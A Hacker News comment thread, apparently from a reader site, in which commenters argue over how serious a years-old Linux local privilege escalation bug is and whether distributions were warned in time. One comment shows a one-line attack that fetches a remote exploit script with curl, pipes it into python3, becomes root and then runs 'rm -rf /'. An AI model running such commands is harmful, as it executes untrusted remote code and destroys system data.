Hacker News Reader

Comment by akerl_ | Hacker News Reader

I think you’re reading a ton into this vulnerability that is not there.

I wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable.

  $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su
  # rm -rf / &

25 seconds if I type it out by hand instead of copypasta. Sigh.

How many people do you let have local code execution on your systems? This is a local privilege escalation. They are relatively common. They are a big deal if you run a system that lets multiple untrusted users commingle code on a shared operating system.

Otherwise it’s not.

Unless your systems have no network devices this vuln provides a tasty reward for being able to get any kind of RCE into your box. Most of the systems I care about are not air gapped. I don't imagine many others are either.

It's an LPE that goes back years. It affects at least 3 generations of Debian servers. >5 years of some rolling distros. And instead of the kernel team telling the distro security guys ahead of time so they could do their jobs and keep us users from getting screwed they got no warning and woke up to baddies in a feeding frenzy.

Also, LPEs are how minor holes turn into rootkitted servers. But I expect most people here already know that.

In a story that includes an RCE, you basically just assume LPE. The LPE isn’t a reward, it’s just table stakes. It’s the RCE that would be noteworthy.

Your assessment of the impact of this vulnerability is just wrong, and your level of panic about a “feeding frenzy” affecting anybody outside of hosted services where multiple users share a kernel is also wrong.

Reply on news.ycombinator.com